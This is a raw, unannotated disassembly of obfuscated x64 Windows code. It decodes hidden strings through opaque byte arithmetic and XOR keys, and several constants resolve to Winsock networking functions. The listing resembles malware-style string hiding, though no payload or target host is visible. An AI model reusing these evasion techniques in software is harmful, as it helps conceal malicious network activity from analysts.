je 0x14016e8fa
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016e8b7
lea rax, [r9 + 6]
cmp r8, rax
je 0x14016e86e
movzx r11d, bl
cmp r9, rbx
ja 0x14016ea40
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14016df05
lea edx, [r11 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14016df50
lea rax, [r9 + 1]
cmp r8, rax
je 0x14016e863
inc rax
cmp r8, rax
je 0x14016e83d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016e82f
lea rax, [r9 + 4]
cmp r8, rax
je 0x14016e80c
lea rax, [r9 + 2]
cmp r8, rax
je 0x14016e7ef
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14016e4c3
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14016e4a7
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14016e482
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016e460
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14016e444
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14016e425
lea rax, [r9 + 2]
cmp r8, rax
je 0x14016e409
lea rax, [r9 + 8]
cmp r8, rax
je 0x14016e3ed
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14016e3cf
lea rax, [r9 + 1]
cmp r8, rax
je 0x14016e3a2
lea rax, [r9 + 6]
cmp r8, rax
je 0x14016df60
lea r8, [r9 + 4]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14016ea1e
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14016e9fc
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14016e14b
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14016e12e
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14016e111
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14016e355
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14016e30d
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14016e2cf
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14016e2a5
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14016df60
lea r8, [r9 + 4]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14016e274
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14016e254
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14016e237
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14016e217
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14016e1f4
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14016e1d7
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14016e1b1
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14016e188
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14016e16b
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14016df60
lea r8, [r9 + 4]
lea r9, [r8 + 2]
jmp 0x14016df60
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_addr
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14016df50
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14016ded6
sub r11b, 2
movzx eax, r11b
and al, r10b
mov ecx, 7
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x14016de60
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14016e88a
sub r11b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, 0x26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x14016de43
sub r11b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14016de43
lea edx, [r11 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14016e8d3
add r11b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, 0x20
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x14016e92d
add r11b, 0x1c
movzx eax, r10b
and al, r11b
mov ecx, 0x1e
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14016e92d
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14016e960
sub r11b, 0x2c
movzx eax, r10b
and al, r11b
mov ecx, 0x1a
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14016e98c
sub r11b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, 0x18
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x8b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14016de43
sub r11b, 0x2a
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
mov byte [rbp + rbx + 0x8b0], dl
inc rbx
jmp 0x14016de43
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
cmp r9, 0x42
jb 0x14016e2c0
lea edx, [r11 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x68]
jmp 0x14016e88a
lea edx, [r11 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
cmp r8, 0x41
jae 0x14016e7b1
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x14016e6dd
lea edx, [r11 - 0x3c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x5c
add dl, cl
jmp 0x14016e2e7
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
lea rax, [r8 + r9]
cmp rax, 0x41
je 0x14016e7d0
lea rcx, [r9 + 5]
cmp r8, rcx
jbe 0x14016e5f6
lea edx, [r11 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14016e325
sub r11b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 4
movzx eax, byte [rbp + rbx + 0x8b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14016de43
sub r11b, 0x48
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 8
add dl, r11b
jmp 0x14016e98c
lea edx, [r11 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xc
add dl, cl
jmp 0x14016e960
add r11b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
jmp 0x14016e92d
add r11b, 0x4c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x14
add r8, r9
jmp 0x14016e92d
lea edx, [r11 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x18
add dl, cl
jmp 0x14016e8d3
add r11b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1c
dec rbx
inc rbx
jmp 0x14016de43
sub r11b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
inc r9
dec rbx
inc rbx
jmp 0x14016de43
lea edx, [r11 - 0x44]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x24
add dl, cl
jmp 0x14016e88a
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x14016e4e9
lea edx, [r11 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14016e36d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016e523
sub r11b, 0xc
movzx eax, r10b
and al, r11b
mov ecx, 0x2a
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x8b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14016de43
inc rax
cmp r8, rax
jne 0x14016e548
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, 0x2e
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14016e960
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016e571
add r11b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, gethostbyaddr
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14016e92d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14016e59d
sub r11b, 0x7c
movzx eax, r10b
and al, r11b
mov ecx, gethostbyaddr
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x14016e92d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14016e5c3
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14016e8d3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14016e36d
sub r11b, 0x34
movzx eax, r10b
and al, r11b
mov ecx, getservbyname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14016de43
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016e61c
lea edx, [r11 - 0x12]
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14016e88a
inc rax
cmp r8, rax
jne 0x14016e646
add r11b, 0x36
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7a
dec rbx
inc rbx
jmp 0x14016de43
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016e66b
lea edx, [r11 + 0x5a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x76
add dl, cl
jmp 0x14016e8d3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14016e693
add r11b, 0x7e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x72
add r8, r9
jmp 0x14016e92d
cmp r8, rcx
jne 0x14016e6b4
sub r11b, 0x5e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6e
jmp 0x14016e92d
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14016e325
lea edx, [r11 - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x6a
add dl, cl
jmp 0x14016e960
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016e713
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
movzx eax, byte [rbp + rbx + 0x8b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14016de43
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14016e738
lea edx, [r11 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x50
add dl, cl
jmp 0x14016e960
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016e75d
add r11b, 0x54
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4c
jmp 0x14016e92d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14016e782
lea edx, [r11 - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x44
add dl, cl
jmp 0x14016e8d3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14016e2e7
sub r11b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
dec rbx
inc rbx
jmp 0x14016de43
lea edx, [r11 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, r10b
sub dl, 0x30
add dl, cl
jmp 0x14016e8d3
lea edx, [r11 + 0x74]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, r10b
sub dl, 0x2c
add dl, cl
jmp 0x14016e960
lea edx, [r11 - 0xa]
movzx eax, r10b
and al, dl
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14016e960
sub r11b, 0x52
movzx eax, r10b
and al, r11b
mov ecx, 0x1f
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x14016e92d
lea edx, [r11 - 0x76]
mov ecx, 0x1d
jmp 0x14016e8c4
add r11b, 0x66
movzx eax, r11b
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x14016de43
lea edx, [r11 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
jmp 0x14016e87b
movzx r11d, bl
lea edx, [r11 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
sub r11b, 0x42
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x32
add r10b, r11b
mov byte [rbp + rbx + 0x8b0], r10b
inc r9
dec rbx
inc rbx
jmp 0x14016de43
movzx r11d, bl
lea edx, [r11 + 0x6a]
mov ecx, recvfrom
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
sub r11b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x2e
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x8b0], r10b
add r8, r9
jmp 0x14016e92d
lea edx, [rbx + 0x46]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_addr
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
add r8, r9
jmp 0x14016e92d
lea rax, [rbx + r14]
and dil, al
mov ecx, 9
sub cl, dil
lea edx, [rcx + rcx]
add dl, al
add dl, r10b
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016de43
lea rax, [rbx + r13]
and dil, al
mov ecx, 7
sub cl, dil
lea edx, [rcx + rcx]
add dl, al
add dl, r10b
movzx r11d, bl
add r11b, 6
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x2a
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x8b0], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x28
add r10b, cl
mov byte [rbp + rbx + 0x8b0], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x8b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14016de43
lea rax, [rbx + r12]
and dil, al
mov ecx, 3
sub cl, dil
lea edx, [rcx + rcx]
add dl, al
add dl, r10b
movzx eax, byte [rbp + rbx + 0x8b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14016de43
sub r11b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
xor edi, edi
jmp 0x14016de40
sub r11b, 0x4a
movzx eax, r10b
and al, r11b
mov ecx, 3
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
xor edi, edi
jmp 0x14016de30
lea rbx, [rbp + 0x15f3ec8]
jmp 0x14016ea59
lea rbx, [rbp + 0x106de5a]
jmp 0x14016ea59
lea rbx, [rbp + 0x8b0]
movzx edx, byte [rbp + 0xa98]
lea rcx, [rbp + 0x7f8]
call fcn.140136a10
nop
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14016ea80
mov rdx, rbx
lea rcx, [rbp + 0x7f8]
call fcn.14013ab10
nop
lea rdx, [rbp + 0x7f8]
lea rcx, [rbp + 0x958]
call fcn.140153c20
nop
cmp byte [rbp + 0x958], 0
je 0x14016fc70
lea rcx, [rbp + 0x3a0]
call fcn.1401a21a0
nop
lea rcx, [rbp + 0x3a0]
call fcn.1401a1f70
lea rcx, [rbp + 0x3b0]
call fcn.1401a21a0
mov rdi, rax
mov rbx, qword [rbp + 0x968]
sub rbx, qword [rbp + 0x960]
sar rbx, 3
mov rcx, rax
call fcn.140135de0
mov edx, ebx
mov rcx, rdi
call fcn.1401a41d0
movzx ecx, byte [rbp + 0x1ca]
test cl, cl
je 0x14016eb61
xor byte [rbp + 0x1c0], 0x35
xor byte [rbp + 0x1c1], 0x36
xor byte [rbp + 0x1c2], 0x37
xor byte [rbp + 0x1c3], 0x38
xor byte [rbp + 0x1c4], 0x39
xor byte [rbp + 0x1c5], 0x3a
xor byte [rbp + 0x1c6], 0x3b
xor byte [rbp + 0x1c7], 0x3c
xor byte [rbp + 0x1c8], 0x3d
xor byte [rbp + 0x1c9], 0x3e
xor cl, 0x3f
mov byte [rbp + 0x1ca], cl
mov r8, r15
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x3c0]
call fcn.1401a2160
nop
mov r9, r15
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x9d0]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x3c0]
call fcn.140135de0
nop
lea rcx, [rbp + 0x3b0]
call fcn.140135de0
xor edi, edi
mov r12d, edi
mov rax, qword [rbp + 0x968]
sub rax, qword [rbp + 0x960]
sar rax, 3
test rax, rax
je 0x14016fbfe
mov ebx, edi
movzx esi, byte [rbp + 0xa98]
movzx r14d, byte [rbp + 0xa98]
movzx r15d, byte [rbp + 0xa98]
jmp 0x14016ebe4
xor edi, edi
movzx edx, r14b
lea rcx, [rbp + 0x818]
call fcn.140136a10
lea rcx, [rbp + 0x818]
call fcn.140136320
nop
mov rax, qword [rbp + 0x960]
lea r13, [rax + rbx*8]
mov dword [rbp + 0x49c], 0xf6f6f4c6
mov dword [rbp + 0x4a0], 0xf4e8d9fb
mov dword [rbp + 0x4a4], 0xecedf8fb
mov word [rbp + 0x4a8], 0xeff3
mov byte [rbp + 0x4aa], 0x5e
xor eax, eax
mov qword [rbp + 0x4ab], rax
mov dword [rbp + 0x4b3], eax
nop dword [rax]
mov r9, qword [0x1404e9d00]
mov r11, qword [0x1404e9cf8]
nop
mov rbx, rdi
cmp rbx, 0x1b
jae 0x14016f833
movzx r10d, byte [rbp + rbx + 0x49c]
mov edi, r10d
nop dword [rax]
cmp r9, rbx
ja 0x14016f82a
lea rax, [r11 + 1]
cmp r9, rax
jae 0x14016ecb5
movabs rcx, 0x292e8208732408d2
add rcx, rbx
mov rax, rcx
and rax, rdi
imul r15, rax, 0xfffffffffffffffe
add r15, rcx
add r15, rdi
add r15b, 0x42
jmp 0x14016ecee
je 0x14016f7b1
inc rax
cmp r9, rax
je 0x14016f723
lea rax, [r11 + 3]
cmp r9, rax
je 0x14016f6f2
lea rax, [r11 + 5]
cmp r9, rax
je 0x14016f6b1
lea rax, [r11 + 6]
cmp r9, rax
je 0x14016f66f
movzx eax, bl
cmp r11, rbx
ja 0x14016f821
lea rcx, [r11 + 9]
cmp r9, rcx
jae 0x14016ed21
lea r8d, [rax + 0x3a]
movzx ecx, r8b
and cl, r10b
mov edx, getservbyname
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r8b
add r15b, r10b
jmp 0x14016ed70
lea rdx, [r11 + 1]
cmp r9, rdx
je 0x14016f658
lea rcx, [r11 + 4]
cmp r9, rcx
je 0x14016f63f
lea rcx, [r11 + 5]
cmp r9, rcx
je 0x14016f626
lea rcx, [rdx + 1]
cmp r9, rcx
je 0x14016f605
lea rcx, [r11 + 6]
cmp r9, rcx
je 0x14016f5ec
lea rcx, [r11 + 3]
cmp r9, rcx
je 0x14016f5bd
nop
lea rcx, [r11 + r9]
cmp rcx, rbx
jbe 0x14016f2e7
nop dword [rax]
lea rcx, [r11 + 0x2a]
cmp r9, rcx
je 0x14016f2c6
lea rdx, [r11 + 0x40]
cmp r9, rdx
je 0x14016f2a3
lea rcx, [r11 + 0x10]
cmp r9, rcx
je 0x14016f27f
lea rcx, [r11 + 0x41]
cmp r9, rcx
je 0x14016f25f
lea rcx, [r11 + 0x20]
cmp r9, rcx
je 0x14016f241
lea rcx, [r11 + 9]
cmp r9, rcx
je 0x14016f227
lea rcx, [r11 + 0x61]
cmp r9, rcx
je 0x14016f206
lea rcx, [r11 + 0xa]
cmp r9, rcx
je 0x14016f1e9
lea rcx, [r11 + 6]
cmp r9, rcx
je 0x14016f1ba
lea rcx, [r11 + 0x400]
cmp r9, rcx
je 0x14016ed80
mov r9, rdx
lea r11, [rdx + 8]
lea rcx, [r11 + 1]
cmp rdx, rcx
jb 0x14016f805
lea rcx, [r11 + 0x41]
cmp rdx, rcx
jb 0x14016f7e5
lea rcx, [r11 + 0x20]
cmp rdx, rcx
jb 0x14016ef6a
lea rcx, [r11 + 0x5a]
cmp rdx, rcx
jb 0x14016ef49
lea rcx, [r11 + 0x61]
cmp rdx, rcx
jb 0x14016ef2f
lea rcx, [r11 + 0xa]
cmp rdx, rcx
jb 0x14016f163
lea rcx, [r11 + 0x7a]
cmp rdx, rcx
jb 0x14016f119
lea rcx, [r11 + 0x400]
cmp rdx, rcx
jb 0x14016f0d4
lea rcx, [r11 + 8]
cmp rdx, rcx
jb 0x14016f0b0
lea rcx, [r11 + 0x1000]
cmp rdx, rcx
jb 0x14016ed80
lea r9, [r11 + 0x42]
lea r11, [r9 + 0x200]
lea rcx, [r11 + 0x20]
cmp r9, rcx
ja 0x14016f081
lea rdx, [r11 + 0x5a]
cmp r9, rdx
ja 0x14016f064
lea rcx, [r11 + 0x28]
cmp r9, rcx
ja 0x14016f043
lea rcx, [r11 + 0xa]
cmp r9, rcx
ja 0x14016f029
lea rcx, [r11 + 0x7a]
cmp r9, rcx
ja 0x14016f00b
lea rcx, [r11 + 0x10]
cmp r9, rcx
ja 0x14016efeb
lea rcx, [r11 + 8]
cmp r9, rcx
ja 0x14016efc7
lea rcx, [r11 + 0x1000]
cmp r9, rcx
ja 0x14016efa4
lea rcx, [r11 + 9]
cmp r9, rcx
ja 0x14016ef83
lea rcx, [r11 + 5]
cmp r9, rcx
ja 0x14016ed80
mov r9, rdx
lea r11, [rdx + 0x3e8]
jmp 0x14016ed80
lea edx, [rax + 6]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r15d, [r10 + rdx]
sub r15b, 0x2a
jmp 0x14016ed70
lea r8d, [rax + 0x62]
movzx ecx, r8b
and cl, r10b
mov edx, 0x29
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r8b
add r15b, r10b
jmp 0x14016ecf1
sub al, 0x42
movzx ecx, al
and cl, r10b
add cl, cl
sub al, cl
lea r15d, [r10 + rax]
sub r15b, 0x32
jmp 0x14016ec80
lea r8d, [rax - 0x30]
movzx ecx, r10b
and cl, r8b
mov edx, 0x28
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, r8b
jmp 0x14016f687
add al, 0x2c
movzx ecx, r10b
and cl, al
add cl, cl
sub r10b, cl
lea r15d, [rax + r10]
sub r15b, 0x34
inc r11
dec rbx
inc rbx
jmp 0x14016ec63
sub al, 0x78
movzx ecx, r10b
and cl, al
mov edx, 0x24
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, al
dec rbx
inc rbx
jmp 0x14016ec63
lea r8d, [rax - 0x1c]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r15d, r10b
sub r15b, cl
sub r15b, 0x3c
add r15b, r8b
jmp 0x14016f6d0
add al, 0x40
movzx ecx, r10b
and cl, al
mov edx, 0x20
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, al
jmp 0x14016f707
sub al, 0x64
movzx ecx, r10b
and cl, al
add cl, cl
sub r10b, cl
lea r15d, [rax + r10]
sub r15b, 0x44
jmp 0x14016f70a
lea r8d, [rax - 8]
movzx ecx, r10b
and cl, r8b
mov edx, 0x1c
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, r8b
jmp 0x14016f747
add al, 0x54
movzx ecx, r10b
and cl, al
add cl, cl
movzx r15d, r10b
sub r15b, cl
sub r15b, 0x4c
add r15b, al
jmp 0x14016f76e
sub al, 0x50
movzx ecx, r10b
and cl, al
mov edx, 0x18
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, al
movzx eax, byte [rbp + rbx + 0x49c]
add rax, r11
add rbx, rax
inc rbx
jmp 0x14016ec63
sub al, 0x6a
movzx ecx, al
and cl, r10b
add cl, cl
sub al, cl
lea r15d, [r10 + rax]
sub r15b, 0x1a
mov byte [rbp + rbx + 0x49c], r15b
inc rbx
jmp 0x14016ec63
lea r8d, [rax - 0xe]
movzx ecx, r8b
and cl, r10b
mov edx, gethostbyaddr
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r8b
add r15b, r10b
cmp r11, 0x42
jb 0x14016f0c4
lea r8d, [rax - 0x54]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
add dl, r8b
lea r15d, [rdx*2 - 0x68]
jmp 0x14016f687
lea edx, [rax + 0x4e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r15d, [r10 + rdx]
sub r15b, 0x22
cmp r9, 4
jae 0x14016f57c
lea rcx, [r11 + 8]
cmp r9, rcx
jbe 0x14016f4a2
lea r8d, [rax + 0x44]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_select
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, r8b
jmp 0x14016f0f0
lea r8d, [rax - 0x56]
movzx ecx, r8b
and cl, r10b
mov edx, 0x2d
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r8b
add r15b, r10b
lea rcx, [r11 + r9]
cmp rcx, 3
je 0x14016f59f
lea rcx, [r11 + 0x7a]
cmp r9, rcx
jbe 0x14016f39d
lea r8d, [rax + 0xa]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r15d, r10b
sub r15b, cl
sub r15b, 0x46
add r15b, r8b
jmp 0x14016f12e
add al, 0x5c
movzx ecx, r10b
and cl, al
mov edx, 0x3e
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, al
movzx eax, byte [rbp + rbx + 0x49c]
add rax, r11
add rbx, rax
inc rbx
jmp 0x14016ec63
sub al, 0x48
movzx ecx, r10b
and cl, al
add cl, cl
movzx r15d, r10b
sub r15b, cl
sub r15b, 8
add r15b, al
jmp 0x14016f76e
lea r8d, [rax + 0x14]
movzx ecx, r10b
and cl, r8b
mov edx, 0x3a
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, r8b
jmp 0x14016f747
add al, 0x70
movzx ecx, r10b
and cl, al
add cl, cl
sub r10b, cl
lea r15d, [rax + r10]
sub r15b, 0x10
jmp 0x14016f70a
sub al, 0x34
movzx ecx, r10b
and cl, al
mov edx, getservbyname
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, al
jmp 0x14016f707
lea r8d, [rax + 0x28]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r15d, r10b
sub r15b, cl
sub r15b, 0x18
add r15b, r8b
jmp 0x14016f6d0
sub al, 0x7c
movzx ecx, r10b
and cl, al
mov edx, gethostbyaddr
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, al
dec rbx
inc rbx
jmp 0x14016ec63
sub al, 0x20
movzx ecx, r10b
and cl, al
add cl, cl
sub r10b, cl
lea r15d, [rax + r10]
sub r15b, 0x20
inc r11
dec rbx
inc rbx
jmp 0x14016ec63
lea r8d, [rax + 0x3c]
movzx ecx, r10b
and cl, r8b
mov edx, 0x2e
sub dl, cl
lea r15d, [rdx + rdx]
add r15b, r10b
add r15b, r8b
jmp 0x14016f687
lea rcx, [r11 + 0x64]
cmp r9, rcx
jae 0x14016f305
lea r8d, [rax - 0x2e]
movzx ecx, r8b
and cl, r10b
mov edx, 0x21
jmp 0x14016f173
lea rcx, [r11 + 1]
cmp r9, rcx
jne 0x14016f338
add al, 0x74
movzx ecx, al
and cl, r10b
add cl, cl
sub al, cl
lea r15d, [r10 + rax]
sub r15b, 0x2c
